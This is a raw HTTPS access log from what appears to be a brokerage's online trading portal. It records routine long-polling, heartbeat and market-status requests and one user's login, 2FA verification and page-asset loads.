[09/Jan/2026:09:34:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922751054 HTTP/1.1" -
[09/Jan/2026:09:34:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922765865 HTTP/1.1" -
[09/Jan/2026:09:34:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922754677 HTTP/1.1" -
[09/Jan/2026:09:34:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:34:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922755516 HTTP/1.1" -
[09/Jan/2026:09:34:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922770892 HTTP/1.1" -
[09/Jan/2026:09:34:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922759865 HTTP/1.1" -
[09/Jan/2026:09:34:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922757049 HTTP/1.1" -
[09/Jan/2026:09:34:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:34:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922760551 HTTP/1.1" -
[09/Jan/2026:09:34:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922775938 HTTP/1.1" -
[09/Jan/2026:09:34:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922764990 HTTP/1.1" -
[09/Jan/2026:09:34:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922763052 HTTP/1.1" -
[09/Jan/2026:09:34:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:34:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:34:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:34:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922765569 HTTP/1.1" -
[09/Jan/2026:09:34:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922781006 HTTP/1.1" -
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922766757 HTTP/1.1" 3188
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:34:57 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:34:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922770150 HTTP/1.1" -
[09/Jan/2026:09:35:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922769048 HTTP/1.1" -
[09/Jan/2026:09:35:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922770613 HTTP/1.1" -
[09/Jan/2026:09:35:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922786065 HTTP/1.1" -
[09/Jan/2026:09:35:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922775210 HTTP/1.1" -
[09/Jan/2026:09:35:03 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:09:35:03 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:09:35:03 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:35:03 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:35:03 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 461
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922774510 HTTP/1.1" 3188
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:35:05 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:09:35:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922775657 HTTP/1.1" -
[09/Jan/2026:09:35:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922775063 HTTP/1.1" -
[09/Jan/2026:09:35:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922791125 HTTP/1.1" -
[09/Jan/2026:09:35:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922780353 HTTP/1.1" -
[09/Jan/2026:09:35:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:35:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922780715 HTTP/1.1" -
[09/Jan/2026:09:35:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922796157 HTTP/1.1" -
[09/Jan/2026:09:35:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922781063 HTTP/1.1" -
[09/Jan/2026:09:35:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:35:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:35:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922785465 HTTP/1.1" -
[09/Jan/2026:09:35:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922785762 HTTP/1.1" -
[09/Jan/2026:09:35:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922801182 HTTP/1.1" -
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:35:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922787057 HTTP/1.1" -
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 425
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:35:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
